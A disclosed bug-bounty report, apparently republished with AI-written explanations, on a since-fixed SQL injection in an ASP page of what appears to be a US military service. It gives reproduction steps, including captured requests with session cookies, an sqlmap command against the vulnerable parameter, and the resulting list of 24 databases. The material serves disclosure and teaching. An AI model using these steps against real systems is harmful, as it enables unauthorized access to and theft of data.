SQL Injection at https://████████.asp (█████████) [selMajcom] [HtUS]
A SQL injection flaw in the selMajcom parameter of an ASP page allowed an attacker to run arbitrary SQL queries against the backend database. The attacker could exfiltrate sensitive data, tamper with it, or potentially execute code on the database server.
Originally disclosed on HackerOne
- Triaged in 6 days
- Fixed in 48 days
- Disclosed after 6 months
Summary:
SQL injection (SQLi) is a vulnerability in which an application accepts input into an SQL statement and treats this input as part of the statement. Typically, SQLi allows a malicious attacker to view, modify or delete data that should not be able to be retrieved. An SQLi vulnerability was found for this host which allows an attacker to execute code and view data from the SQL service by submitting SQL queries.
An attacker could exploit this lack of input sanitization to exfiltrate database data and files, tamper with the data, or perform resource exhaustion. Depending on the database and how it is configured, an attacker could potentially remotely execute code on the server running the database.
I found SQL Injection at https://█████████.asp allowing attacker can exfiltrate database and leak sensitive data of ███████ without authentication.
Steps To Reproduce:
- Access to https://████.asp
Create an user, after create go to https://████.asp 2. Capture request on burpsuite with the following request
GET /█████mil/AFServices/RequestAccess.asp?selMajcom=MAT*&selbase=MXRD&Submitted=1&Appid=29&FuncID=23&App=Activity+Database+FMP HTTP/1.1
Host: ██████████.████.net:443
Cookie: ebsprod=7nchaAqvaxeCArcwSjtyE0HiG4; ASPSESSIONIDQQBSACRQ=MPHFFIECABOOKHDLEIEEOAHA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Inject SQL query to vulnerable parameter selMajcom
Save request to file dod.txt
GET /██████mil/AFServices/RequestAccess.asp?selMajcom=MAT*&selbase=MXRD&Submitted=1&Appid=29&FuncID=23&App=Activity+Database+FMP HTTP/1.1
Host: ███.██████████.net:443
Cookie: ebsprod=7nchaAqvaxeCArcwSjtyE0HiG4; ASPSESSIONIDQQBSACRQ=MPHFFIECABOOKHDLEIEEOAHA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Attack automation with sqlmap command
python sqlmap.py -r dod.txt --dbs --level 3 risk 3 -v3
Supporting Material/References:
█████
available databases [24]:
[*] ActivityManager
[*] AFMajcomBases
[*] AFNAF
[*] AFServicesUsers
[*] AFSponsorship
[*] AssetsAndLiabilities
[*] BaseProjects
[*] BEFT
[*] CGO
[*] EICSQL
[*] master
[*] model
[*] msdb
[*] NAFDIS
[*] NAFRIS_restore
[*] ORCA
[*] Property
[*] RMD
[*] ██████████
[*] tempdb
[*] TSD
[*] Unemployment
[*] VMS_Test
[*] W2DATA
Impact
Data exfiltration through a SQLi attack could lead to reputational damage or regulatory fines for the business due to an attacker’s unauthorized access to data. This could also result in reputational damage for the business through the impact to customers’ trust. The severity of the impact to the business is dependent on the sensitivity of the data being stored in, and transmitted by the application. Leak sensitive data on █████████ service.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application concatenated the selMajcom parameter directly into an SQL query without parameterisation or input validation.
Impact
An attacker could exfiltrate database data and files, tamper with data, cause resource exhaustion, and potentially execute code on the database server depending on its configuration.
What the attacker needed
A free account; ability to send crafted HTTP requests
How it was found
- Create a user account and navigate to the target page.
- Capture the request to the RequestAccess.asp endpoint using a proxy.
- Inject SQL into the selMajcom parameter and save the request to a file.
- Run sqlmap against the saved request to enumerate databases.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection happens when a website puts user input directly into a database command without checking it. An attacker can then trick the database into running their own commands, which can reveal, change, or delete data. Here, a parameter in the web address was not properly sanitised, so the attacker could list all databases on the server.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.